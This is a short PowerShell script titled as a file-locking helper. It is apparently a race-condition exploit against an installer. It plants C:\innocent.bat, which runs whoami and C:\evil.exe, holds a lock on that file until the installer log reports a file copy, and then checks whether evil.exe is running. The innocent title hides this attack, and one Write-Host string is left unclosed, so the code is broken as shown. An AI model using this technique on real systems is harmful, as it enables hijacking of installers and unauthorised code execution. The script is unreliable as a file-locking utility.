PowerShell script to get exclusive lock on file and release at the right time (adjust as needed)

Get-FileLock.ps1

$code = @'
whoami > C:\innocent.log
C:\evil.exe
'@

$binary = "C:\innocent.bat"
[System.IO.File]::WriteAllText($binary, $code)
[System.IO.File]::ReadAllText($binary)

$handle = [System.IO.File]::Open($binary, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Read)
if($handle.handle)
{
  Write-Host "Acquired write handle on $binary
  while($handle.handle)
  {
    $line = Get-Content C:\installer.log -Tail 10
    if($line -match "File copy")
    {
      $handle.Close()
      $handle.Dispose()
    }
  }
  Start-Sleep -Seconds 5
  [System.IO.File]::ReadAllText("C:\innocent.log")
  Get-Process evil
}
else
{
  Write-Host "Failed to acquire handle on $binary"
}